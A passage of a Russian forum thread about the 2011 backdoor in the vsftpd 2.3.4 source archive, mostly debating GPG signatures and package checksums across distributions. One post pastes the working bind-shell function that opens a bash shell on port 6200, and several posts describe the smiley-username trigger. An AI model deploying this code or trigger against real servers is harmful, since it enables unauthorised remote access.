Вариант для распечатки		Пред. тема | След. тема
Форум Разговоры, обсуждение новостей
Режим отображения отдельной подветви беседы		[ Отслеживать ]

В исходных текстах FTP-сервера vsftpd обнаружен бэкдор, opennews (?), 04-Июл-11, (0) [смотреть все] Very, Very Secure FTP , indig0z (?), 15:30 , 04-Июл-11, (1) +10 // gpg BAD signature -- какбы намекает нам на то что чам vsftp не поражёнмало, Аноним123321 (ok), 03:44 , 05-Июл-11, (87) +5 EPIC FAIL, Аноним (-), 15:37 , 04-Июл-11, (4) –15 // А по-моему это отличный пример того, что подписи GPG detached signatures на up, solardiz (ok), 03:41 , 05-Июл-11, (86) +3 // По анализу архива, возможно до 3-4 дней http www openwall com lists oss-secur, solardiz (ok), 08:48 , 05-Июл-11, (88) +1 да для всех, кто не проверяет подписи , anonymous (??), 14:20 , 05-Июл-11, (100) в конце окажется, что взломали FTP хостинга, а FTP сервер там был не VS и разра, Denisiuk (ok), 15:46 , 04-Июл-11, (7) +4 Это такая скрытая реклама Не будет нас, будет как снами , Аноним (-), 16:07 , 04-Июл-11, (11) –1 Жаль, для таких проектов нужно иметь собственный сервер в стойке ДЦ или надежный, Аноним (-), 16:09 , 04-Июл-11, (12) +1 // Ты много спонсорской помощи проекту оказал Там кнопка PayPal было бы желание , PavelR (??), 16:25 , 04-Июл-11, (15) +1 Нда При том что оригинальные подписи остальсь нетронутыми и получив пакет сорцо, Джон (?), 16:31 , 04-Июл-11, (17) –9 // vsftpd имеет такое же отношение к Linux как и к FreeBSD , koblin (ok), 16:36 , 04-Июл-11, (18) +5 // Суть не в оси, а в подходе Фря чуть более параноидальна или продуманна кому, nikll (ok), 16:46 , 04-Июл-11, (19) –8 Во-первых, в любом линуксовом дистрибутиве есть проверка подписей пакетов Во-вт, koblin (ok), 16:49 , 04-Июл-11, (21) +3 Плюсую Дистриб, где софт ставится из сорцов Вот это тру , Миксер (?), 16:50 , 04-Июл-11, (22) –5 При чём тут исходники, ты их каждый раз на бэкдоры проверяешь перед установкой, , Аноним (-), 18:09 , 04-Июл-11, (33) И много трушные перцы сорцев перечитали И как, в вашем, трушном - версия с спло, Аноним (-), 23:57 , 04-Июл-11, (63) +1 ну я в gentoo проверил сорцы сразу же ибо пользую vsftpd на продакшене а sha25, Mike Lee (?), 12:17 , 05-Июл-11, (95) +1 Ребят, тут рядом про openssh в последней серверной фре Почитайте, а потом пр, Michael Shigorin (ok), 20:21 , 05-Июл-11, (105) +1 Толсто Была устаревшая, пятилетней давности, 4-тая ветка , universite (ok), 23:21 , 05-Июл-11, (109) –1 У бздельников всегда так Попробуйте тоньше Факта наличия дыры это не отменяет , Аноним (-), 00:18 , 06-Июл-11, (110) –1 То бишь не найден Как найдете - опубликуйте свои исследованияБаги есть везде,, universite (ok), 00:44 , 06-Июл-11, (114) а в чём проблема я не понимаю у бздюшников, что ли, принято патчить чем попало, anonymous (??), 09:40 , 06-Июл-11, (126) –1 Вообщето 4 версия фри как бы не последняя хотя для линуксоидов все может быт, nagual (ok), 13:03 , 07-Июл-11, (138) Я-то знаю, потому и цитата в кавычки забрана Просто труъ -- это не характер, Michael Shigorin (ok), 14:26 , 07-Июл-11, (142) По современным меркам - уже нет, как тут справедливо заметили, контрольные суммы, Аноним (-), 17:58 , 04-Июл-11, (31) +2 Не думаю что порт-коммитеры примут PR оформленный без make makesum portlint сра, жопка3 (?), 21:50 , 04-Июл-11, (43) 1 еще ни разу не встречал порты без чексумм, причем там сразу три проверки идет, nikll (ok), 10:17 , 05-Июл-11, (90) –1 О, нормально так А если вам ногу сломать - я тогда наверняка порву вас на стоме, Аноним (-), 13:42 , 05-Июл-11, (99) +1 а нормальным людям достаточно gpg 8230 , anonymous (??), 14:24 , 05-Июл-11, (102) Более того, пересчитать контрольные суммы - элементарно А вот подогнать цифрову, Аноним (-), 00:20 , 06-Июл-11, (111) Для ССЗБ в генте есть FEATURES digest , Аноним (-), 21:11 , 06-Июл-11, (136) при установке из портежей также проверяются чексуммы проблема не в линуксе про, Клыкастый (ok), 22:29 , 04-Июл-11, (52) +1 Да, это так Но все они, безусловно, имеют отношение к опенсорцу, о котором и ре, Лоловой (?), 16:48 , 04-Июл-11, (20) –3 Много где, помимо фряхи, есть такая защита Непонятно с какой целю ее вытащили и, koblin (ok), 16:52 , 04-Июл-11, (24) это жалкие потуги поговорить о freebsd vs linux Фан бой не знает про подписи в , szh (ok), 18:01 , 04-Июл-11, (32) +3 А потом они еще удивляются когда окружающие считают что бред про freebsd однозна, Аноним (-), 01:12 , 05-Июл-11, (79) Я не знаю про федору, но на ней точно свет клином не сошелся Попробуй в генте ч, Alen (??), 17:04 , 04-Июл-11, (26) +1 В генте исходники не подписываются либо немногочисленные подписи не проверяются, коксюзер (?), 19:59 , 04-Июл-11, (39) В debian тоже не обязательно иметь хэши в пакете Пакет ставится и без нихы, вш9 (?), 21:51 , 04-Июл-11, (44) Там не только хеш, но и полноценная цифровая подпись Без нее конечно можно пост, Аноним (-), 00:00 , 05-Июл-11, (65) Где это, уважаемый, я говорил про подписанные исходники Я вообще считаю что абсо, Alen (??), 21:56 , 04-Июл-11, (45) Мечтать не вредно - они уже отгружали UnrealIRCD с сплойтом от Acid Bitches На , Аноним (-), 01:09 , 05-Июл-11, (77) +1 paxuser, перелогинься , Аноним (-), 01:07 , 05-Июл-11, (75) –1 А смысл И так ясно, что это я , коксюзер (?), 13:06 , 05-Июл-11, (96) +2 Спасибо , wechat (?), 02:48 , 06-Июл-11, (119) Имхо, метадата там генерится на основе скачаных сорцов самим мантейнером Откуда, Анон9 (?), 20:02 , 04-Июл-11, (40) Примеры того к чему это ведет - тут http www opennet ru opennews art shtml nu, Аноним (-), 01:11 , 05-Июл-11, (78) md5 уже не проверяется, и контрольные суммы не создаются если только мейнтейнер, t (??), 17:24 , 04-Июл-11, (28) Фанатики фрибсд такие фанатики О линуксе знают только понаслышке, да FYI в л, Аноним (-), 17:56 , 04-Июл-11, (29) +1 // Как говорится, не холиавра ради, а для поинтересоваться лишь Считаете ли вы, чт, Отсутствуют данные в поле Name (?), 18:25 , 04-Июл-11, (34) –3 В указанном случае они однофигственны оба проверяют чексуммы и подписи , Аноним (-), 01:02 , 05-Июл-11, (73) +1 Нет , wechat (?), 02:51 , 06-Июл-11, (120) Так все таки как оно в бинари пролезло и как давно , nagual (ok), 20:24 , 04-Июл-11, (42) Где Вы нашли бинари В новости речь идёт о пакете с _исходным кодом_ для котор, Аноним (-), 23:57 , 04-Июл-11, (64) Сгенерить md5 и sha - легко, потом откуда берутся эти хеши, с сайта, который взл, анонимомус (?), 18:26 , 04-Июл-11, (35) Попробуйте в Gentoo Linux подменить сорцы Увидите что получится , Eugene.Shiyanov (?), 22:20 , 04-Июл-11, (50) // Что-то я стормозил выше об этом уже сказали , Eugene.Shiyanov (?), 22:24 , 04-Июл-11, (51) Мы уже увидели как гентусятники раздали Unreal IRCD С бэкдором от AcidBitches , Аноним (-), 00:59 , 05-Июл-11, (72) Ты хотя бы Gentoo живую в глаза собственную видел , wechat (?), 02:53 , 06-Июл-11, (121) запускающий shell на TCP-порту 6200 при наличии в имени пользователя смайлика , Аноним (-), 16:55 , 04-Июл-11, (25) // Так шелл был вставлен в функцию str_contains_space Т е передаем имя несуществу, анонимный аноним (?), 17:09 , 04-Июл-11, (27) Так далеко не каждый пользователь - хаксор , Аноним (-), 00:56 , 05-Июл-11, (71) gpg BAD signature вместо gpg Good signature Спасибо, Кэп , Имени нету (?), 17:57 , 04-Июл-11, (30) +2 Странно почему доступно в именах пользователя Я думал - это запрещённы, Аноним (-), 19:47 , 04-Июл-11, (36) // а пользователь не обязательно должен существовать, в строке ввода должен присутс, Sylvia (ok), 19:54 , 04-Июл-11, (38) +1 Всё логично легальные пользователи не взведут случайно бэкдорный шелл , Клыкастый (ok), 22:32 , 04-Июл-11, (53) // случайно постучавшись на порт 6200 а так да, yopt (ok), 23:23 , 04-Июл-11, (57) –1 // FTP работает на стандартном порту, на 6200 открывается шелл, WhiteWind (ok), 03:01 , 05-Июл-11, (83) учитывая то, что бэкдор не претендует на серьезность, это просто демонстрация то, Sylvia (ok), 19:52 , 04-Июл-11, (37) // Обычно те кто сильно много верещит о безопасности, потом за это страдают Это ка, Аноним (-), 22:12 , 04-Июл-11, (47) // А причём здесь dj Ошибку же не в исходном коде vsftpd нашли, а в его хостинге , Аноним (-), 23:49 , 04-Июл-11, (60) // Безопасность имеет 2 уровня hi и нехай , Аноним (-), 00:55 , 05-Июл-11, (70) +3 Вы доверяете своему провайдеру DNS , Аноним (-), 10:57 , 05-Июл-11, (93) Мы доверяем, но проверяем В случае каких либо подозрений делается многоточечная, Аноним (-), 00:36 , 06-Июл-11, (112) cat usr portage net-ftp vsftpd Manifest 124 grep vsftpd-2 3 4 tar gzDIST v, Пиу (?), 20:07 , 04-Июл-11, (41) +1 Еще один дятел проверил на себе что бывает когда соседнего пионера разломали Ма, Аноним (-), 22:08 , 04-Июл-11, (46) Объясните мне в чем сила цифровой подписи Чем она может помочь в случае взлома, Аноним (-), 22:13 , 04-Июл-11, (48) // В продолжение Для дистрибутивов все ясно, проверочный публичный ключ изначально, Аноним (-), 22:16 , 04-Июл-11, (49) // Во-первых, лично я там его не нашел, киньте ссылку плз Во-вторых, каким нужно бы, Аноним (-), 23:05 , 04-Июл-11, (56) +1 К сожалению, вы ничего не понимаете в принципах работы криптографии с открытым к, Аноним (-), 23:02 , 04-Июл-11, (55) // Вы не поняли Закрытый ключ здесь вообще не причем Мне не нужен чужой закрытый , Аноним (-), 23:43 , 04-Июл-11, (58) // Вам всего лишь нужно заменить ключи на всех серверах ключей причём старые ключи, Аноним (-), 23:52 , 04-Июл-11, (61) А также удалить все ключи у тех кто их уже скачал и объяснить почему ключ измени, Аноним (-), 00:53 , 05-Июл-11, (68) К сожалению, вы ничего не понимайте в механизмах социальной инжинерии Для того , Аноним (-), 23:48 , 04-Июл-11, (59) –1 // Когда вы наконец прочитаете документацию то сможете узнать что ключ могут подпис, Аноним (-), 23:55 , 04-Июл-11, (62) Ну елки палки, разжёвываю Если удалось подменить архив, то можно подписать его , Аноним (-), 00:01 , 05-Июл-11, (66) +1 Собственно, на этом история взлома и закончится, коварный злодейский замысел б, Аноним (-), 00:43 , 05-Июл-11, (67) И каким образом криптография в действии поможет определить подставной характер, Аноним (-), 02:25 , 05-Июл-11, (80) Для юзеров придуманы репы Если вы совсем уж Пупкин, на кой черт вам сорц Так и, Аноним (-), 03:30 , 05-Июл-11, (84) после чего у окружающих будет много вопросов - а какого, собственно, не подх, Аноним (-), 00:54 , 05-Июл-11, (69) +1 Для этого и ломают через полгода после релиза, чтобы постоянных клиентов отсеять, Аноним (-), 02:29 , 05-Июл-11, (81) Вы привели всем известную очевидную вещь о которой GPG кричит при любой проверке, Аноним (-), 11:01 , 05-Июл-11, (94) И кто мешает взломщику использовать свой полноценный заверенный ключ Ключ злоу, Аноним (-), 13:10 , 05-Июл-11, (97) Наверное, 1 Необходимость чтобы этот ключ заверили, а это еще не факт что сдела, Аноним (-), 00:38 , 06-Июл-11, (113) С этим никак проблем, можно и украденный ключ использовать, их тонны можно набра, Аноним (-), 09:15 , 06-Июл-11, (125) –1 Проверил у себя на серверах с Gentoo 1 Бэкдор не работает 2 Аудит кода обрабо, bircoph (ok), 01:09 , 05-Июл-11, (76) // чётко значит не успели черпануть с другой стороны в полный росто встаёт вопрос, Клыкастый (ok), 02:34 , 05-Июл-11, (82) // Серьезные дистры ведут анализ изменений софта по пакетам Это гентусятники всяки, Аноним (-), 03:31 , 05-Июл-11, (85) –2 // в FreeBSD есть секурити тим и аудит пакетов - хотя казалось бы та же петрушка в , Клыкастый (ok), 10:50 , 05-Июл-11, (92) угу, а еще держат протухший софт и сами пытаются бекпартировать секюрные патчи, , Аноним (-), 13:12 , 05-Июл-11, (98) В случае дебиана - не все так однозначно их програмеры увидели возможную оптими, Аноним (-), 00:50 , 06-Июл-11, (115) Тем не менее, авторы openssl не стали включать эту возможность в апстрим, а не н, bircoph (ok), 03:15 , 06-Июл-11, (122) поразительно, сколько слов, маскирующих неправду а теперь правда 8212 как её, anonymous (??), 09:55 , 06-Июл-11, (129) Вы передергивайте, отладка - лишь цепляние к словам и отговорка В том коде че, Аноним (-), 13:01 , 06-Июл-11, (131) дадада когда говорят 171 для отладки можно 187 8212 это, конечно, значит, anonymous (??), 14:22 , 06-Июл-11, (132) Вы желчью попусту не истекайте, а вместо пустого трепа ссылку про упоминание тол, Аноним (-), 17:52 , 06-Июл-11, (134) я и не собираюсь тратить время на повторные поиски успокойся, всё нормально, бе, anonymous (??), 18:11 , 06-Июл-11, (135) кстати, камент выше 8212 реакция типического бебианщка 171 в гуано могут в, anonymous (??), 14:24 , 06-Июл-11, (133) Именно этим альт примерно до Master 2 4 включительно и занимался, в числе прочег, Michael Shigorin (ok), 20:31 , 05-Июл-11, (106) По-любому vsftpd ze best , Axel (??), 10:46 , 05-Июл-11, (91) // SFTP the best FTP TELNET RLOGIN - каменный век , Аноним (-), 15:06 , 05-Июл-11, (104) +1 // Для анонимной отдачи годится, хотя латентность у HTTP поменьше А вот чем rw ft, Michael Shigorin (ok), 20:33 , 05-Июл-11, (107) // Нагрузка на проц из-за ssh на хорошем канале , Sergey Kovalyov (?), 01:29 , 06-Июл-11, (118) Ммм да, ты прав, на десятке и без сжатия упирается в одно ядро 2 93GHz 95 9, Michael Shigorin (ok), 21:15 , 06-Июл-11, (137) Если это интел атом то и нагрузка на проц от ssh и нагрузка на проц от сетевой и, nagual (ok), 13:06 , 07-Июл-11, (139) AFAIK нет, просто слабенький CPU не так скрадывает ущербность какого rtl8168 , Michael Shigorin (ok), 14:29 , 07-Июл-11, (143) Не всегда Попробуйте гигабитный канал, да еще с слабого нетбука например Когда, Аноним (-), 00:51 , 06-Июл-11, (116) Что-то бекдор не работает На любые команды ругается command not found bin ls , Аноним (-), 23:15 , 05-Июл-11, (108)   // Use strace, Luke , Аноним (-), 00:52 , 06-Июл-11, (117)   // Да нифига он не работает в том виде что он есть Ну то есть соединение принимает, Аноним (-), 05:11 , 06-Июл-11, (123)   // А не работает, но как-то частично Нормально только echo заработало, типа echo a, Аноним (-), 05:18 , 06-Июл-11, (124)   наверное потому, что ls и ты пы 8212 вовсе не 171 башевские команды 187 , , anonymous (??), 09:42 , 06-Июл-11, (127)   1,4,7,11,12,25,30,36,37,41,46,48,76,91,108

Сообщения

[Сортировка по времени | RSS]

108. "В доступный на официальном сайте архив исходных текстов FTP-..."	+/–
Сообщение от Аноним (-), 05-Июл-11, 23:15
Что-то бекдор не работает. На любые команды ругается: : command not found /bin/ls / : No such file or directory /bin/data : No such file or directory /bin/date : No such file or directory int vsf_sysutil_extra(void) {         int fd, rfd;         struct sockaddr_in sa;         if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)                 exit(1);         memset(&sa, 0, sizeof(sa));         sa.sin_family = AF_INET;         sa.sin_port = htons(6200);         sa.sin_addr.s_addr = INADDR_ANY;         if((bind(fd,(struct sockaddr *)&sa,                                         sizeof(struct sockaddr))) < 0) exit(1);         perror("");         if((listen(fd, 100)) == -1) exit(1);         for(;;)         {                 rfd = accept(fd, 0, 0);                 close(0); close(1); close(2);                 dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);                 execl("/bin/bash","sh",(char *)0);         } } Как его использовать?
Ответить | Правка | Наверх | Cообщить модератору

	117. "В доступный на официальном сайте архив исходных текстов FTP-..."	+/–
	Сообщение от Аноним (-), 06-Июл-11, 00:52
	> Что-то бекдор не работает. На любые команды ругается: Use strace, Luke!
	Ответить | Правка | Наверх | Cообщить модератору

	123. "В доступный на официальном сайте архив исходных текстов FTP-..."	+/–
	Сообщение от Аноним (-), 06-Июл-11, 05:11
	Да нифига он не работает в том виде что он есть. Ну то есть соединение принимает, но ничего запустить из него не возможно.
	Ответить | Правка | Наверх | Cообщить модератору

	124. "В доступный на официальном сайте архив исходных текстов FTP-..."	+/–
	Сообщение от Аноним (-), 06-Июл-11, 05:18
	> Да нифига он не работает в том виде что он есть. Ну > то есть соединение принимает, но ничего запустить из него не возможно. А не работает, но как-то частично. Нормально только echo заработало, типа: echo aaa > /tmp/1.log или echo $PWD Остальные башевские команды почему-то не работают.
	Ответить | Правка | Наверх | Cообщить модератору

	127. "В доступный на официальном сайте архив исходных текстов..."	+/–
	Сообщение от anonymous (??), 06-Июл-11, 09:42
	> А не работает, но как-то частично. Нормально только echo заработало, типа: > echo aaa > /tmp/1.log > или echo $PWD > Остальные башевские команды почему-то не работают. наверное потому, что ls и ты пы — вовсе не «башевские команды», и, видимо, демон предварительно чрутнулся: чтобы вот таким вот бэкдорам маленько кайф поломать.
	Ответить | Правка | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема